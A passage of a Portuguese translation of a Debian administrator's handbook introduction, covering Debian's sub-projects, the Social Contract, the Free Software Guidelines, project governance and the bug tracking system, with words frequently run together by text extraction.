Esta generosidade se torna, às vezes,um desperdício: é realmentedesnecessário distribuir 50 CD-ROMspara instalar uma versão completa emuma máquina Intel ... É por isso quepensamos no Debian sempre cada vezmais como uma "meta-distribuição", a

partir do qual se extrai as distribuiçõesmais específicas destinadas a umpúblico específico: Debian-Desktoppara uso tradicional no trabalho,Debian-Edu para uso educacional epedagógico em um ambienteacadêmico, Debian-Med paraaplicações médicas, Debian-Junior paracrianças, etc. Para uma lista maiscompleta pode ser encontrada na seçãodedicada a esse propósito veja emSection 1.3.3.1, “Sub-Projetos DebianExistentes”.

Estas divisões são organizadas em umaestrutura bem definida, assimgarantindo compatibilidade livre deproblemas entre as várias "sub-

distribuições". Todas elas seguem oplanejamento geral para o lançamentode novas versões. Construídas sobre amesma base, elas podem ser facilmenteestendidas, completadas, epersonalizada com as aplicaçõesdisponíveis nos repositórios do Debian.

Todas ferramentas Debian operamneste sentido: debian-cd tem por muitotempo permitido criar um conjunto deCD-ROMs tendo apenas pacotes pré-selecionados; debian-installer étambém um instalador modular,facilmente adaptado para necessidadesespeciais. APT irá instalar pacotes apartir de várias origens, garantindo aomesmo tempo a coesão geral do

sistema.

FERRAMENTA Criando um CD-ROMDebian

debian-cd cria imagens ISO de CD-ROMde instalação prontas para usar. RaphaëlHertzog é o autor da última reescrita daaplicação, mas a manutenção éessencialmente feita por Steve McIntyre.Qualquer questão sobre este softwares édiscutido (em inglês) na lista de discussão<[email protected]>.

VOLTANDO PARA O BÁSICO Para cadacomputador, sua arquitetura

O termo "arquitetura" indica um tipo decomputador (o mais conhecido incluem o

Mac ou PC). Cada arquitetura édiferenciada principalmente pelo seuprocessador, geralmente incompatívelcom outros processadores. Essasdiferenças de hardware envolvemdiferentes meios de funcionamento,exigindo assim que o software sejacompilado especificamente para cadaarquitetura.

A maioria dos softwares disponíveis noDebian é escrita em linguagens deprogramação portáveis: o mesmo códigofonte pode ser compilado em váriasarquiteturas. Na realidade, um binárioexecutável, sempre compilado para umaarquitetura específica, geralmente nãofuncionará em outras arquiteturas.

Lembre-se que cada programa é criadoescrevendo o código fonte, este código-

fonte é um arquivo texto composto deinstruções em uma dada linguagem deprogramação. Antes de você poder usar osoftware, é necessário compilar o códigofonte, o que significa transformar ocódigo em um binário (uma série deinstruções de máquina executável peloprocessador). Cada linguagem deprogramação tem um compiladorespecífico para executar essa operação(por exemplo, gcc para a linguagem deprogramação C).

FERRAMENTA Instalador

debian-installer é o nome do programade instalação do Debian. A sua concepçãomodular permite que seja usada em umaampla variedade de cenários deinstalação. O trabalho de

desenvolvimento é coordenado na lista dediscussão <[email protected]> sob a direção deOtávio Salvador e Joey Hess.

1.1.2. A Qualidade doSoftware LivreO Debian segue todos os princípios doSoftware Livre, e suas novas versõesnão são liberadas até que estejamprontas. Os desenvolvedores não estãopressionados por algum cronogramadefinido que corre para satisfazer umprazo arbitrário. As pessoasfrequentemente se queixam do tempo

entre as versões estáveis do Debian,mas este cuidado também garante aconfiabilidade lendária da Debian:longos meses de testes são realmentenecessários para que a distribuiçãocompleta receba o rótulo de "estável".

Debian não irá comprometer aqualidade: todos os bugs críticosconhecidos são resolvidos em qualquernova versão, ainda que isso impliqueque a data de lançamento inicialmenteprevista seja adiada.

Debian não exclui qualquer categoriade usuários, por mais que pequenaminoria. Seu programa de instalaçãotem sido áspero nos detalhes , porque

era o único capaz de operar em todasarquiteturas em que o kernel Linux éexecutado. Não era possívelsimplesmente substituí-lo com umprograma que era mais user-friendly,mas limitado a apenas o PC(arquitectura i386). Felizmente, desdea chegada do debian-installer, essesdias acabaram.

1.1.3. O ArranjoLegal: UmaOrganização Não-Lucrativa

Do ponto de vista jurídico, o Debian éum projeto gerenciado por umaassociação americana sem finslucrativos e voluntária. O projeto temmil desenvolvedores Debian, masreúne um número muito maior decolaboradores (tradutores,identificadores de bugs, artistas,desenvolvedores casuais, etc.).

Para desempenhar sua missão a bomtermo, o Debian tem uma grandeinfraestrutura, com muitos servidoresconectados através da Internet,oferecidos por muitos patrocinadores.

COMUNIDADE Por trás do Debian, aassociação SPI, e ramificações locais

O Debian não possui qualquer servidorem seu próprio nome, uma vez que éapenas um projeto dentro da Software inthe Public Interest (SPI), que gerencia ohardware e os aspectos financeiros(doações, compra de hardware, etc).Embora inicialmente criadoespecificamente para o projeto do Debian,esta associação tem agora uma mão emoutros projetos de software livre,especialmente o banco de dadosPostgreSQL, Freedesktop.org (projeto depadronização de várias partes demodernos ambientes de desktop gráficos,tais como GNOME e KDE). A suite deescritório OpenOffice.org também temsido uma parte do SPI.

→ http://www.spi-inc.org/

Além da SPI. váriassociações locais

colaboram estreitamente com o Debian, afim de gerar fundos para o Debian, semcentralizar tudo nos EUA. Essaconfiguração evita custos proibitivos detransferência internacional, e se encaixabem com a natureza descentralizada doprojeto. É neste espírito que a associaçãoDebian França foi fundada no verão de2006. Não hesite em participar e apoiar oprojeto!

→ http://france.debian.net/

1.2. OsDocumentos dafundaçãoAlguns anos após o seu lançamentoinicial, o Debian formalizou osprincípios que deve seguir como umprojeto de software livre. Esta etapaativista permite um crescimentoordeiro e pacífico, garantindo quetodos os membros progridam namesma direção. Para se tornar umdesenvolvedor do Debian, qualquercandidato deve confirmar e provar oseu apoio e adesão aos princípios

estabelecidos em documentos doprojeto da Fundação.

O processo de desenvolvimento éconstantemente debatido, mas estesDocumentos de Fundação sãoamplamente apoiados econsensualmente, assim, raramentemudam. A constituição da Debiantambém oferece outras garantias: umamaioria qualificada de três quartos énecessária para aprovar qualqueralteração.

1.2.1. O Compromissodos Usuários

O projeto também tem um "contratosocial". Qual o lugar que tal texto temem um único projeto destinado aodesenvolvimento de um sistemaoperacional? Isso é bastante simples:Debian funciona para seus usuários e,portanto, por extensão, para asociedade. Este contrato resume oscompromissos que o projetocompromete . Vamos estudá-los emmaior detalhe:

1. Debian permanecerá 100% livre.

Esta é a Regra n º 1. O Debian é econtinuará a ser inteiramentecomposto e exclusivamente desoftwares livres. Além disso, todo

o desenvolvimento de softwaresdentro do projeto do Debian, porsi só, será livre.

PERSPECTIVA Além do software

A primeira versão do ContratoSocial Debian disse "O SoftwareDebian permanecerá 100% Livre >".O desaparecimento desta palavra(com a ratificação da versão 1.1 docontrato em abril de 2004) indica avontade de conseguir a liberdade,não só em softwares, mas tambémna documentação e qualquer outroelemento que os desejos da Debianpara fornecer dentro do seu sistemaoperacional .

Esta mudança, que só foi concebido

como editorial, tem, na realidade,tido inúmeras conseqüências,especialmente com a remoção dealguma documentaçãoproblemática. Além disso, o usocrescente de firmware em driverscoloca problemas: eles, que sãomuitas vezes não-livres, são, noentanto, necessários para ofuncionamento adequado dohardware correspondente.

2. Nós iremos retribuir àcomunidade de software livre.

Qualquer melhoria contribuídapelo projeto do Debian para umtrabalho integrado na distribuiçãoé enviado de volta ao autor do

trabalho (chamado de "original").Em geral, o Debian vai cooperarcom a comunidade em vez detrabalhar isoladamente.

COMUNIDADE Autor original, oudesenvolvedor Debian?

O termo "autor original" significao(s) autor (es) / desenvolvedor(es)de uma obra, aqueles que escreveme desenvolvê-la. Por outro lado, um"desenvolvedor Debian" usa umaobra já existente para torná-lo emum pacote Debian (o termo"mantenedor do Debian" é maisadequado).

Frequentemente, a linhademarcatória não é clara. O

mantenedor do Debian podeescrever um patch, que beneficiatodos os usuários do trabalho. Emgeral, o Debian encoraja aquelesque adicionam um pacote no Debianpara se envolver nodesenvolvimento de "upstream",também (eles se tornam, então,contribuintes, sem estar confinadoao papel de simples usuários de umprograma).

3. Nós não escondemos problemas.

Debian não é perfeito, e, vamosencontrar novos problemas paracorrigir todos os dias. Iremosmanter nosso banco de dados derelatórios de bugs aberto para a

visualização pública todo o tempo.Relatórios que os usuáriosarquivam on-line, prontamente, setornam visíveis para os outros.

4. Nossas prioridades são nossosusuários e software livre.

Esse compromisso é mais difícilde definir. Debian impõe, assim,um viés quando uma decisão deveser tomada, e irá descartar umasolução fácil para osdesenvolvedores que coloquemem risco a experiência do usuário,optando por uma solução maiselegante, mesmo que seja maisdifícil de implementar. Isto

significa levar em conta,prioritariamente, os interesses dosusuários e software livre.

5. Obras que não atendem nossospadrões de software livre.

Debian aceita e entende que osusuários muitas vezes querem usaralguns programas que são muitasvezes não-livres. É por isso queprojeto permite a utilização departe da sua infra-estrutura paradistribuir pacotes Debian desoftware não-livre que podem comsegurança ser redistribuídos.

COMMUNIDADE A favor ou

contra a seção não-livres?

esse compromisso de manter umaestrutura para acomodar softwarenão-livre (ou seja, a seção "não-livres" , consulte a barra lateralVOCABULÁrio Os arquivos main,contrib e non-free) éfrequentemente um tema de debateno seio da comunidade Debian.

Os detratores argumentam que deixaas pessoas distantes dosequivalentes de software livre, econtradiz o princípio de servirapenas a causa do software livre. Osdefensores afirmamcategoricamente que a maioria dospacotes não-livres são "quaselivres", exceto por apenas uma ouduas restrições irritantes (o mais

comum seria a proibição contra ouso comercial do software). Aodistribuir essas obras no ramo não-livre, explica-se indiretamente paraos autores que suas criações seriammelhor conhecidas e maisamplamente utilizadas se pudessemser incluídas na seção principal.Eles são, assim, educadamenteconvidados a alterar a sua licençapara servir a esse propósito.

Depois de uma primeira tentativainfrutífera, em 2004, a remoçãocompleta da seção não-livre nãodeve voltar à agenda durante váriosanos, especialmente desde que elacontém muitos documentos úteisque foram movidos simplesmenteporque eles não atendem às novasexigências para a seção principal .

Isto é especialmente o caso dearquivos de documentação dedeterminados softwares emitidospelo projeto GNU (em particular,Emacs e Make).

A existência da seção non-freeparticularmente irrita a FreeSoftware Foundation, motivando,assim, recusar-se a recomendaroficialmente o Debian como sistemaoperacional.

1.2.2. As Orientaçõesde Software LivreDebian

Este documento de referência definequal software é "livre o suficiente" paraser incluído no Debian. Se a licença deum programa está de acordo com estesprincípios, ele pode ser incluído naseção principal, do contrário, e desdeque a distribuição livre é permitida,pode ser encontrado na secção não-livre. A seção não-livres não éoficialmente parte do Debian, é umserviço adicional prestado aos usuários.

Mais do que um critério de seleçãopara o Debian, o texto tornou-se umareferência no assunto de software livre,e tem servido como base para a"definição de Open Source". É,portanto, historicamente uma das

formalizações do conceito de "softwarelivre".

A GNU General Public License, alicença BSD, e a Licença Artística sãoexemplos de licenças livrestradicionais que seguem os 9 pontosmencionados neste texto. Abaixo vocêencontrará o texto conforme estápublicado no site do Debian.

→ http://www.debian.org/social_contract#guidelines

1. Redistribuição Livre. A licençade um componente Debian nãopode restringir nenhuma parte devender ou doar o software comoum componente de umadistribuição agregada de software

contendo programas de váriasfontes diferentes. A licença nãopode exigir um royalty ou outrataxa para tal venda.

VOLTA PARA O BÁSICO LicençasLivres

A GNU GPL, a licença BSD, e aLicença Artística estão todas emconformidade com a DefiniçãoDebian de Software Livre, emboraserem muito diferentes.

A GNU GPL, utilizada e promovidapela FSF (Free SoftwareFoundation), é a mais comum. Suaprincipal característica é que elatambém se aplica a qualquertrabalho derivado que é

redistribuído: um programa deincorporação ou usando o códigoGPL só pode ser distribuído deacordo com seus termos. Proíbe,assim, qualquer reutilização em umaplicativo proprietário. Isto colocasérios problemas para a reutilizaçãode código GPL em software livreincompatível com esta licença.Como tal, às vezes é impossívelligar um programa publicado soboutra licença de de software livrecom uma biblioteca distribuída soba GPL. Por outro lado, essa licença émuita sólida na legislaçãoamericana: advogados FSF têmparticipado na elaboração damesma, e muitas vezes forçadovioladores a chegar a um acordoamigável com a FSF, sem ir atribunal.

→ http://www.gnu.org/copyleft/gpl.html

A licença BSD é menos restritiva:tudo é permitido, inclusive o uso decódigo BSD modificada em umaaplicação proprietária. Microsoftainda usa, baseando a camada TCP /IP do Windows NT na do kernel doBSD.

→ http://www.opensource.org/licenses/bsd-license.php

Finalmente, a Licença Artísticaalcança um compromisso entre estasduas outras: a integração do códigoem uma aplicação proprietária éautorizada, mas qualquermodificação deve ser publicada.

→ http://www.opensource.org/licenses/artistic-license-2.0.php

O texto completo dessas licençasestá disponível em / usr / share /common-licenses / em qualquersistema Debian.

2. Código Fonte. O programa deveincluir código fonte e devepermitir a distribuição em códigofonte, bem como em formatocompilado.

3. Trabalhos derivados. A licençadeve permitir modificações etrabalhos derivados e devepermitir que estes sejamdistribuídos sob os mesmostermos da licença do softwareoriginal.

4. integridade do autor do códigofonte. A licença pode restringircódigo fonte de ser distribuído emforma modificada apenas se alicença permitir a distribuição de"patch files" com o código fontepara o propósito de modificar oprograma em tempo decompilação. A licença devepermitir explicitamente adistribuição de softwareconstruído a partir do código fontemodificado. A licença pode exigirque trabalhos derivados tenhamum nome diferente ou número deversão do software original (Este éum compromisso. O grupo Debianencoraja todos os autores a não

restringir nenhum arquivo, fonteou binário, de ser modificado).

5. Nenhuma discriminação contrapessoas ou grupos. A licença nãodeve discriminar qualquer pessoaou grupo de pessoas.

6. Nenhuma discriminação contracampos de atuação. A licençanão deve restringir ninguém defazer uso do programa em umcampo específico de atuação. Porexemplo, ela não pode restringir oprograma de ser usado em umaempresa, ou de ser usado parapesquisa genética.

7. Distribuição da licença. Os

direitos associados ao programadevem se aplicar a todos a quem oprograma é redistribuído, sem anecessidade de execução de umalicença adicional por essaspessoas.

8. Licença não deve ser específicapara Debian. Os direitosassociados ao programa nãodevem depender do programa serparte de um sistema Debian. Se oprograma for extraído do Debian eusado ou distribuído sem o Debianmas por outro lado, dentro dostermos da licença do programa,todas partes para quem oprograma é redistribuído devem

ter os mesmos direitos que sãoconcedidos em conjunto com osistema Debian.

9. Licença não deve contaminaroutros softwares. A licença nãodeve colocar restrições em outrosoftware que é distribuídojuntamente com o softwarelicenciado. Por exemplo, a licençanão deve impor que todos osoutros programas distribuídos namesma mídia sejam softwarelivre.

VOLTA PARA O BÁSICO Copyleft

Copyleft é um princípio queconsiste em utilizar os direitos

autorais para garantir a liberdade deuma obra e os seus derivados, emvez de limitar os direitos deutilizações, como é o caso com osoftware proprietário. É, também,um jogo de palavras sobre o termo"copyright" . Richard Stallmandescobriu a idéia quando um amigodele, apaixonado por trocadilhos,escreveu em um envelopeendereçado a ele: "copyleft: todosos direitos revertidos". Copyleftimpõe a preservação de todasliberdades iniciais sobre adistribuição de uma versão originalou modificada de um trabalho(geralmente um programa).Portanto, não é possível distribuirum programa como softwareproprietário, se ele é derivado docódigo de um programa liberado

como copyleft.

A licença copyleft mais conhecidaé, naturalmente, a GNU GPL, e seusderivados, o GNU LGPL ou GNULesser General Public License, e aGNU FDL ou GNU FreeDocumentation License.Infelizmente, as licenças copyleftsão geralmente incompatíveis entresi. Consequentemente, o melhor éusar somente uma delas.

COMUNIDADE Bruce Perens, um lídercontroverso

Bruce Perens, o segundo líder do projetoDebian, logo após Ian Murdock, geroumuita controvérsia em seus métodos

dinâmicos e autoritários. Ele, no entanto,continua a ser um importante contribuintepara o Debian, para quem Debian éespecialmente grato para a edição dasfamosas "Orientações do Software LivreDebian" (DFSG), uma ideia original deEan Schuessler. Posteriormente, Brucealteraria a famosa "Definição de CódigoAberto", removendo todas referências aoDebian vindas dele.

→ http://www.opensource.org/

Sua partida do projeto foi bastanteemocional, mas Bruce continuavafortemente ligado ao Debian, já que elecontinua a promover essa distribuição nosâmbitos político e econômico. Ele aindaesporadicamente aparece nas listas de e-mail para dar o seu conselho e apresentarsuas mais recentes iniciativas em favor do

Debian.

Último detalhe anedótico , era Brucequem foi o responsável por inspirar osdiferentes "codinomes" para versõesDebian (1.1 - Rex , 1,2 - o Buzz , 1,3 - Bo ,2,0 - Hamm , 2,1 - Slink , 2.2 - batata , 3,0- Woody , 3,1 - Sarge , 4,0 - Etch , 5,0 -Lenny , 6,0 - Squeeze , o papel dedestaque Testing - Wheezy, instáve - Sid).Eles são retirados dos nomes dospersonagens do filme Toy Story. Estefilme de animação inteiramente compostopor computação gráfica foi produzidapela Pixar Studios, com quem Bruce foiempregado no momento em que esseliderou o projeto Debian. O nome "Sid"tem estatuto especial, uma vez que iráeternamente ser associado com o ramoinstável. No filme, esse personagem era ofilho vizinho, que sempre foi quebrar

brinquedos - por isso tem cuidado de ficarmuito perto de instável. Porém, Sid étambém um acrônimo de "Still InDevelopment".

1.3. OFuncionamentointerno do ProjetoDebianA recompensa produzida pelosresultados do projeto Debian vêmsimultaneamente do trabalho na infra-estrutura realizado por experientesdesenvolvedores Debian, trabalhoindividual ou coletivo dedesenvolvedores de pacotes Debian, efeedback dos utilizadores.

1.3.1. OsDesenvolvedoresDebianOs desenvolvedores Debian tem váriasresponsabilidades, e como membrosoficiais do projeto, eles têm grandeinfluência sobre a direção que o projetoleva. Um desenvolvedor Debian égeralmente responsável por pelo menosum pacote, mas de acordo com seutempo disponível e vontade, eles sãolivres para se envolver em numerosasequipes, adquirindo, assim, maisresponsabilidades dentro do projeto.

→ http://www.debian.org/devel/people

→ http://www.debian.org/intro/organization

→ http://wiki.debian.org/Teams

FERRAMENTA banco de dados deDesenvolvedores

O Debian possui um banco de dados,incluindo todos os desenvolvedoresregistrados com o projeto, e suasinformações relevantes (endereço,telefone, coordenadas geográficas, comolongitude e latitude, etc.) Algumasinformações (nome e sobrenome, país,nome de usuário dentro do projeto, IRCusername, a chave GnuPG, etc) sãopúblicos e disponíveis na web.

→ http://db.debian.org/

As coordenadas geográficas permitem acriação de um mapa de localização detodos os programadores em todo omundo. Debian é realmente um projetointernacional: Seus desenvolvedorespodem ser encontrados em todos oscontinentes , embora a maioria estão noOcidente.

Figure 1.1. rede de distribuição mundialde desenvolvedores Debian

Manutenção de pacotes é umaatividade relativamente organizada,muito documentada ou mesmoregulada. Deve, com efeito, respeitartodas normas estabelecidas pelaPolítica Debian . Felizmente, existemmuitas ferramentas que facilitam otrabalho do mantenedor. Odesenvolvedor pode, assim, incidir

sobre as especificidades do seu pacotee em tarefas mais complexas, taiscomo erros de esmagamento.

→ http://www.debian.org/doc/debian-policy/

VOLTA PARA O BÁSICO Manutenção dePacotes, o trabalho do desenvolvedor

A manutenção de um pacote implica, emprimeiro, "a embalagem" de um programa.Especificamente, isso significa definir omeio de instalação de modo que, uma vezinstalado, este programa irá funcionar ecumprir todas regras que o projeto Debiandefine para si mesmo. O resultado dessaoperação é salvo em um arquivo . Deb .A efetiva instalação do programa iráexigir nada mais do que a extração deste

arquivo compactado e execução dealguns scripts de pré-instalação ou pós-instalação neles contidos.

Após esta fase inicial, o ciclo demanutenção realmente começa:preparação de atualizações para seguir aversão mais recente da Política Debian,correção de bugs reportados pelosusuários, a inclusão de uma nova versãode "upstream" do programa, que,naturalmente, continua a desenvolver-sesimultaneamente (por exemplo, nomomento da embalagem inicial, oprograma estava na versão 1.2.3. Apósalguns meses de desenvolvimento, osautores originais lançar uma nova versãoestável, numerada versão 1.4.0. nesteponto, o mantenedor do Debian deveatualizar o pacote, para que os usuáriospossam se beneficiar de sua última versão

estável).

A política, um elemento essencial doProjeto Debian, estabelece as normasque asseguram a qualidade dasembalagens e interoperabilidadeperfeita da distribuição. Graças a estapolítica, Debian permanece consistenteapesar de seu tamanho gigantesco. EstaPolítica não é cláusula pétrea , mascontinuamente evolui graças àspropostas formuladas sobre o termo<[email protected]>

mailing list. Alterações que sãoaprovados por todos são aceitos eaplicados ao texto por um pequenogrupo de mantenedores que não têm

qualquer responsabilidade editorial(que incluem apenas modificaçõesacordadas pelos desenvolvedores doDebian que são membros da lista acimareferida). Você pode ler as propostas dealteração em curso sobre o sistema derastreamento de :

→ http://bugs.debian.org/debian-policy

COMUNIDADE Processo de políticaeditorial

Qualquer pessoa pode propor umaemenda à Política Debian apenasmediante a apresentação de um relatóriode bug com um nível de gravidade da"lista de pedidos" contra o pacote debian-policy . O processo que começa então está

documentado no / usr / share / doc /debian-policy / Process.html : Se éreconhecido que o problema deve serresolvido através da criação de uma novaregra na política Debian , a discussão domesmo, em seguida, se inicia na lista dediscussão <[email protected] > até que umconsenso seja alcançado e uma propostaemitida. Alguém redige a alteraçãopretendida e envia para aprovação (naforma de um patch para rever). Tão logodois outros desenvolvedores aprovem ofato de que a alteração proposta reflete oconsenso alcançado na discussão anterior(eles são "segundos" dele), a propostapode ser incluída no documento oficialpor um dos mantenedores de pacotesdebian-policy . Se o processo falhar emum destes passos, os mantenedoresfecham-no , classificando a proposta

como rejeitada.

POLÍTICA DEBIAN A documentação

Documentação de cada pacote éarmazenado em / usr / share / doc /pacote / . Este diretório normalmentecontém um arquivo README.Debian quedescreve os ajustes específicos do Debianfeitas pelo mantenedor do pacote. É,portanto, aconselhável ler este arquivoantes de qualquer configuração, a fim debeneficiar da sua experiência. Tambémencontramos um aquivochangelog.Debian.gz que descreve asmudanças feitas a partir de uma versãopara a próxima pelo mantenedor doDebian. Isto não é para ser confundidocom o arquivo changelog.gz (ouequivalente), que descreve as mudanças

feitas pelos desenvolvedores originais. Osdireitos autorais incluem informaçõessobre os autores e cobrindo a licença dosoftware. Finalmente, podemos tambémencontrar um arquivo chamadoNEWS.Debian.gz , que permite que odesenvolvedor Debian comunicarinformações importantes a respeito deatualizações (se apt-listchanges éutilizado, as mensagens são mostradasautomaticamente pelo apt). Todos osoutros arquivos são específicos para osoftware em questão. Gostamosespecialmente de salientar o subdiretórioexamples , que freqüentemente contémexemplos de arquivos de configuração.

A política cobre muito bem os aspectostécnicos do empacotamento. O

tamanho do projeto também levantaproblemas de organização, estes sãotratados pela Constituição Debian, queestabelece uma estrutura e meios paratomada de decisão.

Esta constituição define um certonúmero de papéis e posições, além deresponsabilidades e autoridades paracada um. É particularmenteinteressante notar que osdesenvolvedores do Debian sempre tema decisão definitiva tomada autoridadepor uma votação de resolução geral, emque uma maioria qualificada de trêsquartos (75%) de votos é necessáriapara as alterações significativas aserem feitas (como aquelas com um

impacto sobre os Documentos deFundação). No entanto, osdesenvolvedores anualmente elegemum "líder" para representá-los emreuniões, e assegurar a coordenaçãointerna entre equipes diferentes. Estaeleição é sempre um período deintensas discussões. Este papel do lídernão é formalmente definido porqualquer documento: os candidatospara esse posto normalmente propõesua própria definição da posição. Naprática, os papéis do líder incluemservir como um representante para osmeios de comunicação, de coordenaçãoentre equipes "interno" , e fornecerorientação geral para o projeto, dentrodo qual os desenvolvedores podem se

relacionar: as opiniões do DPL sãoimplicitamente aprovado pela maioriados membros do projeto .

Especificamente, o líder temautoridade real; seu voto resolvevotações empatadas, ele pode tomarqualquer decisão que não esteja sob aautoridade de alguém e pode delegarparte das suas responsabilidades.

Desde a sua criação, o projeto foisucessivamente liderado por IanMurdock, Bruce Perens, Ian Jackson,Wichert Akkerman, Ben Collins, BdaleGarbee, Martin Michlmayr, BrandenRobinson, Anthony Towns, SamHocevar, Steve McIntyre and Stefano

Zacchiroli.

A Constituição também define uma"comissão técnica". O papel essencialdesta comissão é o de decidir sobrequestões técnicas, quando osdesenvolvedores envolvidos nãochegaram a um acordo entre si. Casocontrário, esta comissão tem um papelconsultivo para qualquerdesenvolvedor que não consegue tomaruma decisão para os quais sãoresponsáveis. É importante notar queeles só se envolvem quando convidadosa fazê-lo por uma das partes emquestão.

Finalmente, a Constituição define a

posição de " secretário de projeto", queé responsável pela organização dosvotos relacionados às várias eleições eresoluções gerais.

O "resolução geral " é o processototalmente detalhado na Constituição, apartir do período de discussão inicial àcontagem final de votos. Para maisdetalhes ver:

→ http://www.debian.org/devel/constitution.en.html

CULTURA Flamewar, discussão queincendeia

A "flamewar" é um debate extremamenteardoroso, que muitas vezes acaba compessoas atacando umas outras uma vez

que toda a argumentação razoável tenhasido esgotada em ambos os lados. Algunstemas são mais frequentemente sujeitos apolêmica do que outros (por exemplo, aescolha do editor de texto, "você preferevi ou emacs ?"). As questões muitas vezesprovocam trocas de emails extremamenterápidas devido ao grande número depessoas com uma opinião sobre o assunto(todas) e da natureza muito pessoal detais questões.

Nada de particularmente útil geralmentevem de tais discussões, fique fora de taisdebates, e rapidamente percorra seuconteúdo. A leitura integral seria muitodemorada.

Mesmo se Esta Constituição estabeleceuma aparência de democracia, a

realidade cotidiana é muito diferente:O Debian naturalmente segue as regrasde meritocracia do software livre: éaquele que faz, quem decide. Ummonte de tempo pode ser desperdiçadodebatendo os méritos de várias formasde abordar um problema, a soluçãoescolhida será a primeira funcional esatisfatória ... honrando o tempo queuma pessoa competente colocou nele.

Esta é a única maneira de receber aslistras : fazer algo de útil e mostrar quese tem funcionado bem. Muitosequipes "administrativas" Debianoperam por nomeação, preferindovoluntários que já efetivamentecontribuíram e provaram sua

competência. Este método é prático,porque a maior parte do trabalho feitopor essas equipes é público, portanto,acessível a qualquer desenvolvedorinteressado. É por isso que o Debian éfrequentemente descrito como uma"meritocracia".

CULTURA Meritocracia, o reino doconhecimento

A meritocracia é uma forma de governoem que autoridade é exercida por aquelescom o maior mérito. Para o Debian, omérito é uma medida de competência, queé, em si, avaliado pela observação dasações passadas por um ou mais dentro doprojeto (Stefano Zacchiroli, o líder doprojeto atual, fala de "do-ocracy ", quesignifica "poder para aqueles que fazem

as coisas acontecerem "). Sua simplesexistência demonstra um certo nível decompetência; suas realizações sendogeralmente da existência de um softwarelivre, com código fonte disponível, quepode facilmente ser revisto pelos seuspares para avaliar sua qualidade.

Este efetivo método operacionalgarante a qualidade dos contribuintes"chave" Debian do Debian. Estemétodo é de forma alguma perfeita e,ocasionalmente, há aqueles que nãoaceitam esta forma de operar. Aseleção dos desenvolvedores aceitosnas equipes pode parecer um poucoarbitrária, ou mesmo injusta. Alémdisso, nem todo mundo tem a mesma

definição do serviço esperado dasequipes. Para alguns, é inaceitável terque esperar oito dias para a inclusão deum pacote novo, enquanto outros vãoesperar pacientemente por três semanassem nenhum problema. Como tal, háqueixas regulares a partir dedescontentes com a "qualidade deserviço" de algumas equipes.

COMUNIDADE Integração de novosmantenedores

A equipe responsável pela admissão denovos desenvolvedores é a maisregularmente criticada. É precisoreconhecer que, ao longo dos anos, oprojeto se tornou cada vez mais exigentedos desenvolvedores que aceita. Algumas

pessoas podem ver alguma injustiçanisso, mas devemos confessar que, o queeram apenas pequenos desafios no iníciotornaram-se muito maiores em umacomunidade de mais de 1.000 pessoas,quando se trata de garantir a qualidade eintegridade de tudo o que o Debianproduz para seus usuários.

Além disso, o processo de aceitação,conclui-se pela revisão da candidaturapor uma equipe pequena, os Gerentes deContas Debian (Debian AccountManagers). Esses gerentes são, portanto,particularmente expostos à crítica, umavez que tem a palavra final sobre ainclusão ou rejeição de um voluntáriodentro da comunidade dedesenvolvedores Debian. Na prática, àsvezes, devem adiar a aceitação de umapessoa até que tenha aprendido mais

sobre as operações do projeto. Pode-se,naturalmente, contribuir para o Debianantes de ser aceito como umdesenvolvedor oficial, por ter sidoindicado por desenvolvedores atuais.

1.3.2. The Papel Ativodos UsuáriosÉ relevante mencionar os usuáriosentre aqueles que trabalham dentro doprojeto Debian? Sim: elesdesempenham um papel fundamentalno projeto. Longe de ser "passivos",alguns de nossos usuários executamversões de desenvolvimento do Debian

e regularmente apresentam relatóriosde bugs para indicar problemas. Outrosvão ainda mais longe e apresentamidéias de melhorias, mediante aapresentação de um relatório de bugcom um nível de gravidade "wishlist",ou mesmo apresentam correções nocódigo fonte, chamadas de "Patches"(veja o quadro VOLTA PARA OBÁSICO como enviar uma correção ).

FERRAMENTA Bug tracking system

O Sistema de Acompanhamento de Bugs(BTS) participa do projeto. A partepública da interface web permite aosusuários visualizar todos os bugsreportados, com a opção para exibir umalista ordenada de erros selecionados de

acordo com vários critérios, tais como:pacote afetado, gravidade, estado,endereço do repórter, o endereço domantenedor no comando de tudo, tag, etctambém é possível navegar pela listacompleta do histórico de todas asdiscussões sobre cada um dos bugs.

Sutilmente, a BTS Debian comunica via e-mail: todas informações que armazenavêm de mensagens enviadas pelaspessoas envolvidas. Qualquer e-mailenviado para < [email protected] >irá, portanto, ser atribuída à história debug número. 12345. Pessoas autorizadaspodem "fechar" um erro ao escrever umamensagem descrevendo as razões para adecisão de fechar o < [email protected] > (um bug éfechado quando o problema indicado foiresolvido ou não é mais relevante). Um

novo bug é relatada através do envio deum e-mail para <[email protected] > de acordocom um formato específico que identificao pacote em questão. O endereço <[email protected] > permite aedição de todos as "meta-informação"relacionado a um bug.

O BTS Debian tem outras característicasfuncionais, tais como o uso de tags paraerros de rotulagem. Para maisinformações, consulte

→ http://www.debian.org/Bugs/

VOCABULÁRIO Severidade de um bug

A severidade de um bug formalmenteatribui um grau de severidade para o

problema indicado. Efetivamente, nemtodos os bugs têm a mesma importância,por exemplo, um erro de digitação emuma página de alguém não é comparávela uma vulnerabilidade de segurança nosoftware do servidor.

O Debian usa uma escala de severidadeestendida para indicar com precisão aseveridade de um bug. Cada nível édefinido com precisão, a fim de facilitar aseleção dos mesmos.

→ http://www.debian.org/Bugs/Developer#severities

Além disso, inúmeros usuáriossatisfeitos serviço oferecido peloDebian gostariam de fazer umacontribuição própria para o projeto.

Como nem todo mundo tem níveisapropriados de experiência emprogramação, eles escolhem, talvez,ajudar com a tradução e revisão dedocumentação. Há listas de discussãoespecíficos de idioma para váriosidiomas. Para francês, por exemplo, é <debian-l10n-

[email protected] >.

→ http://www.debian.org/intl/french/

VOLTA PARA O BÁSICO O que são i18ne l10n?

"I18n" e "l10n" são as abreviaturas (eminglês) para as palavras"internacionalização" e "regionalização",respectivamente, preservando a letra

inicial e final de cada palavra, e o númerode letras no meio.

"Internacionalizar" um programa consisteem modificá-lo para que ele possa sertraduzido (regionalizado). Isso envolvereescrever parcialmente um programainicialmente escrito para trabalhar emuma língua, a fim de ser capaz de abri-lopara todos os idiomas.

"Regionalizar" um programa consiste emtraduzir as mensagens originais(frequentemente em Inglês) para outroidioma. Para isso, já deve ter sidointernacionalizado.

Em resumo, a internacionalização preparao software para a tradução, que é entãoexecutada pela regionalização.

VOLTA PARA O BÁSICO como enviaruma correção

